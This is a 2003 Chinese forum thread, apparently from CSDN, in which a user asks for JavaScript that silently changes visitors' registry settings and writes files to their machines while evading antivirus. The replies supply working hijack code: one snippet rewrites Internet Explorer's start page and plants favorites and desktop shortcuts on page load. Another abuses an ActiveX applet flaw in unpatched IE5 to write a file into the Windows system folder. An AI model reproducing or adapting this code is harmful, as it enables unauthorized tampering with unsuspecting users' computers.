求源码50分

annhf 2003-05-10 11:39:59
有没有可以修改注册表和在客户端生成文件的javascript的代码,最好不能被杀毒软件发现
...全文
27 5 打赏 收藏 转发到动态 举报
写回复
用AI写文章
5 条回复
切换为时间正序
请发表友善的回复…
发表回复
xishanlang2000 2003-05-11
  • 打赏
  • 举报
回复
以上代码对客户端的机子有什么要求吗?
心云意水 2003-05-11
  • 打赏
  • 举报
回复
IE5.0支持,其他版本不行。不能安装任何ms的补丁程序……
annhf 2003-05-11
  • 打赏
  • 举报
回复
我的计算机已经打了补丁,有没有在这种情况下实现的代码,net_lover的代码可以么?
annhf 2003-05-10
  • 打赏
  • 举报
回复
html>
<script language=javascript>
document.write("<applet height=0 width=0 code=com.ms.activeX.ActiveXComponent></applet>")
a=document.applets[0];
a.setClsid("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a.CreateInstance();
fso=a.GetObject();
var winsys=fso.GetSpecialFolder(1);
var vbs=winsys + "\\hanfeng.txt";
var st=fso.CreateTextFile(vbs,true);
st.WriteLine("hello world");
st.Close();
window.alert("建立成功");

</script>
</html>
帮忙看看这段代码有什么错误
孟子E章 2003-05-10
  • 打赏
  • 举报
回复
<script language="Javascript">
var WshShell = new ActiveXObject("WScript.Shell");
var url="http://lucky.myrice.com";
var title="【孟宪会之精彩世界】";
WshShell.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", url);
alert(WshShell.RegRead("HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page"))
var FavoritesPath = WshShell.SpecialFolders("Favorites");
var oUrlLink = WshShell.CreateShortcut(FavoritesPath+'\\'+title+".url");
oUrlLink.TargetPath = url;
oUrlLink.Save();
var DesktopPath = WshShell.SpecialFolders("Desktop");//返回桌面路径
//alert(DesktopPath)
//DesktopPath=DesktopPath.substring(0,DesktopPath.length-7)
var MyShortcut = WshShell.CreateShortcut(DesktopPath + "\\" + title+ "的快捷方式.lnk");
MyShortcut.TargetPath = url;
MyShortcut.WindowStyle = 4;
MyShortcut.IconLocation = WshShell.ExpandEnvironmentStrings("%windir%\\SYSTEM\\SHELL32.DLL,46");
MyShortcut.Save();
</script>

87,994

社区成员

发帖
与我相关
我的任务
社区描述
Web 开发 JavaScript
社区管理员
  • JavaScript
  • 无·法
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧